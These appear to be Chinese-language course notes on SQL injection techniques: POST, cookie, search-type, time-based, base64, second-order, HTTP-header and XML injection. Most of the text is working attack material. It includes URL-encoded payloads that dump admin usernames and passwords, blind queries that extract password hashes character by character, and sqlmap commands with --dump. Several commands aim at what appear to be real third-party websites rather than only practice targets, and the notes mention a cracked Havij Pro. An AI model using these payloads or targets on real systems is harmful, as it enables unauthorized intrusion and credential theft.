其他注入类型
提交方式注入
参数型注入
其他注入
常见的提交方式:
GET 后面有?id= 这种形式的
POST
COOKIE
HEAD
PUT
OPTION
POST注入:
post提交方式主要适用于表单的提交
用于登录框的注入
(注册,登录,搜索...)
例如:
www.cracer.com/admin.php
测试站点:
http://testasp.vulnweb.com/login.asp?tfUPass=&tfUName=
测试工具:
pangolin sqlmap
Xdcms+burp注入
admin'
抓包->右键->repeater->Go
穿山甲->Load Form->输入网址->选中下方第一个
->URL,自己添上login.php->开始跑
->Select_all->Go
sqlmap
sql.py -u "www..." --form
burp sqlmap块 是写参数的
reg:--form
将包放在文件里,sqlmap去读这个文件
sqlmap.py -r c:\2.txt
sqlmap清缓存->C:->用户->sqlmap->output->192.168.0.10删掉
XDCMS全版本存在sql注入漏洞
需要使用代理抓包改包工具进行完成
sql exp
%60%3D%28select20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
post注入点可能是%5b位置
输入个' 试试
在forward,注入sql exp,然后
forward,forward,forward.....
Post注入利用工具
pangolin
sqlmap
sqlmap -u http://testasp.vulnweb.com/login.asp --data "tfUPass=1&tfUName=1"
POST手工
将包复制下来,将注入语句插入到*位置,然后sqlmap去跑
COOKIE注入
cookie提交用于账号密码的cookie缓存
还可以通过cookie注入来突破简单的防注入系统
测试站点:
http://www.jnrcjt.com/onepage3.asp?id=30
sqlmap.py -u http://www.jnrcjt.com/onepage3.asp --coolie "id=30" --level 2
一般防get型注入,,弹窗的防注入
穿山甲->URL->cookie
sqlmap.py -u "http://...(无id)" --cookie "id=27" --level 2
sqlmap.py -u "http://...(无id)" --cookie "id=27" --level 2 --table
cookie手工注入:
cookie中转(老技术)
清空地址栏,输入:
javascript:alert(document.cookie="id="+escape("30 and 1=2")),然后去掉访问页面的? id=xxx 即输入http://soft.xxxxx.edu.cn/list.asp,返回正常
javascript:alert(document.cookie="id="+escape("1556 and 1=2 select 1,2,3,4,5,6,7,8,9,10,...,30 from admin"))
参数型注入:
数字类型注入
字符类型注入
搜索型注入
数字型注入:
www.cracer.com/news.asp?id=11
select * from news where id=11
www.cracer.com/news.asp?id=11 and 1=1
select * from news where id=11 and 1=1
字符型注入:
www.cracer.com/news.asp?id=你好 'and 1=1
select * from news where id='你好' and 1=1#'
www.cracer.com/news.asp?id=你好' and 1=1 '
select * from news where id='你好' and 1=1#
select * from news where id='你好' and 1=1 '
搜索型注入:
like 像
通配符 *
sql通配符 %%
'单引号
select * from news where id="'%like $id%"
http://127.0.0.1/search.asp?Field=Title&BigClassName=&SmallClassName=&keyword=123&Submit=%CB%D1%CB%F7
参数:keyword=123
'%%'and 1=2 and '%'='%'
测试站点:
http://028gujian.com/
http://www.ptc-asia.com/CN/CI/?CID=62
2%'and 1=1 and '%'=' 返回和单独输入2是一样的页面
2%'and 1=2 and '%'=' 返回不同
搜索123,然后抓包,txt保存包,SQLmap跑包
sqlmap.py -r c:\2.txt
2%'and(select count(*)from mssysaccessobjects)>0 and '%'=' //返回正常. access数据库
2%'and(select count(*)from admin_user)>0 and '%'=' //返回正常的话. 说明存在admin_user表
2%'and(select count(username)from admin_user)>0 and '%'=' //返回正常的话. 说明存在username字段
2%'and(select top 1 len(admin)from admin_user)>4 and '%'=' //返回正常的话. 说明username长度>4
2%'and(select top 1 len(username)from admin_user)=5 and '%'=' //返回正常的话. 说明username长度=5
2%'and(select top 1 len(password)from admin_user)=16 and '%'=' //返回错误,看来密码不是16位md5加密的,或者没加密,32位加密或者更高
2010%'and(select top 1 len(password)from admin_user)=32 and '%'='//返回正常,说明应该是32位加密
以下都是对应位置的ascii的编码,如果不是则返回错误
2%'and(select top 1 asc(mid(password,1,1))from admin_user)=55 and '%'='
如果是:2010%'and(select top 1 asc(mid(password,1,1))from admin_user)=48 and '%'='//返回错误,因为password字段第一个 字母ascii编码不是48,而是55.所以返回结果不同
搜索型注入
burpsuite
sqlmap
1.先使用burp抓包,保存在1.txt文件里
sqlmap -r 1.txt --tables
sqlmap -r 1.txt --columns -T "admin"
sqlmap -r 1.txt --C "admin.password" -T "manager" --dump -v 2 //列内容
其他注入:
伪静态注入
延迟注入
base64注入
二阶注入
Phpv9 authkey注入
HTTP头注入
XML实体注入
伪静态注入:
http://zcb.sxjgjt.com.cn/
http://zcb.sxjgjt.com.cn/index.php/Index/Ndetails/class/news/htmls/moving/id/1131.html
http://zcb.sxjgjt.com.cn/index.php/Index/Ndetails/class/news/htmls/moving/id/1131
在.html前面写注入
(phpweb也是伪静态,不加html也能访问)
(它也可以伪造成这样的)
延迟注入:
延迟注入是通过页面返回的时间来判断的
不同的mysql数据库版本,延迟注入语句也不同
mysql>=5.0的可以使用sleep()进行查询
mysql<5.0的可以使用benchmark()进行查询
benchmark用法
benchmark(n,sql语句)n为查询次数
通过查询次数增多时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin);
?id=1 and sleep(5)
sleep()延迟注入用法
sleep可以强制产生一个固定的延迟
sleep()延迟注入核心原理
and if(true,sleep(5),0); ==IF(1=1,true,false);
id=1 and sleep(5) 判断下是否存在延迟注入
and if(substring(user(),1,4)='root',sleep(5),1)判断当前用户
and if(MID(version(),1,1) LIKE 5,sleep(5),1)判断数据库版本信息是否为5
可以去猜解他的数据库名称
and if(ascii(substring(database(),1,4))>100,sleep(5),1)
sqlmap --time-sec 延迟注入
base64编码注入:
解码
$id=base64_decode($id);
构造语句
编码
$id=base64_encode($id);
id=1返回错误,对1进行base64编码
sqlmap要用插件来跑,tamper->base64encode.py
sqlmap.py -u "http://xxx?id=1" --tamper "base64encode.py"
二阶注入:
SQL注入一般可分为两种,一阶注入(普通的SQL注入)和二阶SQL注入.一阶SQL注入发生在一个HTTP请求和响应中,系统对攻击输入立即反应执行.
一阶注入的攻击过程归纳如下:
1.攻击者在HTTP请求中提交恶意sql语句
2.应用处理恶意输入,使用恶意输入动态构建SQL语句
3.如果攻击实现,在响应中向攻击者返回结构
二阶注入,作为sql注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击
二阶SQL注入的攻击过程归纳如下:
1.攻击者在一个HTTP请求中提交恶意输入
2.用于将恶意输入保存在数据库中
3.攻击者提交第二个HTTP请求
4.为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句
5.如果攻击实现,在第二个请求的响应中向攻击者返回结果..
测试站点:
74cms人才系统
简历填写中存在二阶注入 aa','fullname'=user()#
注册的时候可能会存在二阶注入,存放在数据库中,当你再访问信息的时候,会出现数据库用户名密码
phpv9 authkey注入
利用exp爆出authkey
(可以是百度搜索phpv9 authkey,然后随便找一个漏洞注入)
(域名必须一致,才能使用)
phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUIUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwlXRlgeERUHQVl|UVJAAO|RXABSQEwNXAhZV|5V
然后本地构造注入页面进行注入
找到"authkey"
复制一段百度搜的那个的第二段代码
单独放在一个.php中,修改url和authkey
访问这个.php?id=1
放在sqlmap跑
Havij Pro(将破解文件放入之后,不用点注册就进去了)跑phpv9
HTTP头注入
常见的http请求中存在注入的参数
User-agent
Referer
X-Forwarded-For
client_ip
发现方法:
burp抓包添加污染参数
火狐插件:
modify headers
tamper data
POST/uploads/comment.php?act=send HTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0 (Windows NT 6.1;WOW64;rv:18.0)Gecko/20100101 Firefox/18.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-cn;zh;q=0.8;en-us;q=0.5,en;q=0.3
Accept-Encoding:gzip,defalte
Cookie:PHPSESSID=caiu1hm6vu2mp9...
Client_ip:1'
Connection:keep-alive
Content-Type:application/x-www-form-url...
Content-Length:63
mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB
burp->repeater->raw->添加 X-Forwarded-For:1.1.1.
Client-ip:1'
Mantra
Modify插件加入进去 --左边第二个,搜索modify
HTTP头注入
exp构造分析
INSERT INTO blue_comment(com_id,post_id,user_id,tyoe,mood,content,pub_date,ip,is_check) VALUES('','1','0','6','test','1480988752','111'','1')
将111替换成-> a','xxx'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),'1645457407','sss','1')#
XML实体注入
可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言.
在电子计算机中,标记指计算机所能理解的信号符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等.它可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言来进行定义的源语言.它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据.是Internet环境中跨平台的,依赖于内容的技术,也是当今处理分布式结构信息的有效工具.早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输.
reg:
<?php
<USER role=user_role>\n<name>".$username.
"</name>\n<pass>".$password."</pass>\n</USER>";
?>
在前台输入账户密码的密码时这样输入:
amdin</pass></USER><USER role="admin_role"><name>cracer</name><pass>123456
(reg:正方)